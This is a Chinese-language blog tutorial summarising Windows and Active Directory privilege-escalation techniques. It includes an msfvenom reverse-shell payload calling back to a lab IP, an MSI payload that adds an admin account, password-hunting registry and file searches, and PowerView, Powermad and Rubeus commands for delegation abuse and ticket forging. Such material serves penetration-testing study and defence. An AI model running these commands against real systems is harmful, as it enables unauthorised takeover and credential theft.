Windows提权方法汇总

2022-02-11 15:19:27 浏览数 (1)

无引号服务路径 ( Trusted Service Paths

先说实用度,比较被动,而且比较看脸。

Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。 无引号服务路径有可能会导致这种情况的发生。 所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样

代码语言:javascript复制
C:Program Filesfloder1service.exe

因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找

代码语言:javascript复制
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe

这就给了我们有机可乘的机会:如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。

我们用以下命令来搜索哪些服务路径没有包含引号

代码语言:javascript复制
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

找到一个。接下来我们的思路可能就是在2345Explorer目录下创建一个Protect.exe了,所以我们要看看2345Explorer目录我们的权限如何。

先来一手whoami /all.发现自己是Users组的。

然后使用icacls命令查看在2345Explorer目录的权限如何

users组是完全控制权(F),那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里随便编码了一下

代码语言:javascript复制
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。

所以我们要在拿到shell后及时的转移进程或者添加管理员账户。 转移进程在msf中很简单,meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。

下面来说说防治方法吧。进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。

易受攻击的服务(Vulnerable Services

同样看脸且被动

这个攻击方法大致分两类 1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。 2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。

对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。 这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。

我们通过该工具执行以下命令

代码语言:javascript复制
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限

如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。

比如我们对Spooler服务有service_all_access权限,我们就可以这样做。 通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

AlwaysInstallElevated

如果windows启用了如下注册表项

代码语言:javascript复制
[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller]
“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的 同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机

我们可以通过reg query来验证这两条注册表项的情况

代码语言:javascript复制
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权

代码语言:javascript复制
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行,获得一个管理员账户。

信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径

代码语言:javascript复制
C:WindowsPanther
C:WindowsPantherUnattend
C:WindowsSystem32
C:WindowsSystem32sysprep

找到后,找到 Unattend.xml 文件中的 标签。就有可能找到用户的加密后的密码。。

代码语言:javascript复制
<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指令
C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

基于资源的域委派攻击

refer:https://xz.aliyun.com/t/7454

原理的几个点:

1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。 2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。 3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domainHOST/domain这两个SPN

攻击流程:

假设开启基于资源的约束性委派机器为A 1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。 2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派 3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。 4.用ST2访问A的CIFS服务,权限获得。

实操

这个攻击说白了就是个提权…

首先我们检查一下域控是否是win2012以上的主机,因为只有这样才能开启 基于资源的约束性委派。

我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

可以获得域控WIN版本

然后我们查看当前用户对哪台主机有写权限。因为是实验,所以我们先来看看怎么配置一个用户对一个机器的权限。 直接在域控上找到某主机,然后进入在属性里进入安全选项卡,添加某用户,然后给这个用户分配权限即可。

我们依旧使用powerview。先调用 Get-DomainUser -Identity username -Properties objectsid来获取当前用户SID 然后Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"} 查看当前用户对某台主机是否有写权限。

如果有 GenericAll(完全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就说明该用户能修改计算机的账户属性。 如图看到我们对WIN7进行操作

好的,我们接下来就要创立一个机器用户了。根据网上搜索结果,使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad

代码语言:javascript复制
Import-Module .Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

好的,我们添加了一个密码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。我们需要做的,是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity属性的值 ,这个操作我们用powerview实现。

代码语言:javascript复制
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

至于机器账户SID怎么获得,powerview下的 get-domiancomputer hacksystem 然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity 查看委派是否设置成功

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值

现在都统统设置好了,开始下一步吧。 网上一般用的rubeus,这里我用kekeo吧

代码语言:javascript复制
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户ntlm hash 这里借用一下别人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt 写入票据

然后我在本机使用以上方法后klist一下,发现确实存在票据

但是dir test1c$时本机莫名其妙不能进行kerberos验证,我服了》。。但不管怎样,我们拿到银票了

敏感用户不可委派的绕过

若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组,按理说他的访问就不能进行委派。

我们在以administrator账户身份进行S4U时,只能进行S4U2SELF,不能进行S4U2PROXY。我们用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt继续实验administrator,发现确实是这样

此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

可以发现servicename并没有指定某个服务,仅仅只有一个账户.即发生了服务名称缺失的问题。很简单,把票据修改一下就行了.网上很多说用这个工具 https://www.pkisolutions.com/tools/asn1editor/ 但实际上rubeus也能完成票据修改rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

完事

POTATO 家族

hot potato

热土豆提权。很早前就听说过了,但一直没去了解过。前置知识是ntlm relay,可以去了解了解。 potato家族有很多,hot potato只是其中一种提权方式。 我环境有问题,不能很好的复现

0 人点赞